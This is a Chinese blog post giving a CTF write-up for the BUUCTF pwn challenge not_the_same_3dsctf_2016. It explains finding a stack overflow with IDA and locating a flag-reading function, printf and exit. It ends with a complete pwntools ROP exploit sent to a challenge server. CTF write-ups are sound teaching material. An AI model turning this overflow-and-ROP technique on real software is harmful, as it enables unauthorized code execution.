BUUCTF—not_the_same_3dsctf_2016

先看看开了什么保护机制

再打开32位ida看看

一个栈溢出糊脸上,接下来去找找后门函数

看到了一大堆东西,那么应该是静态链接,把所有函数都放进去了,所以这时候我们可以选择去找字符串看看

一个flag.txt的字符串就在第一个,不过我们还是优先选择去找/bin/sh

搜索了一下没有,所以我们还是看看flag.txt是哪里用的,选双击到地址里面,然后定它,然后ctrl+x

就找到了引用它的地方
发现就是它打开了flag文件,然后读到了程序里面,我们双击gfl4g看看存到了哪个地址

但是没有输出,所以我们还要打印出来,所以我们要去找打印的函数,我找的是printf,直接在左边的函数框里搜索printf

然后还要个exit函数,因为我们是打印flag,所以要正常退出,需要一个exit

然后根据32位的参数规则,我们就可以构造出payload了

from pwn import*
p=remote('node4.buuoj.cn',28483)
#p=process('./not')
#a=input()
get_secret=0x080489a0
flag=0x080eca2d
printf=0x0804f0a0
exit=0x0804e660
payload=b'a'*0x2d+p32(get_secret)+p32(printf)+p32(exit)+p32(flag)
p.sendline(payload)
p.interactive()
posted @ 2022-10-13 21:51  予柒  阅读(139)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/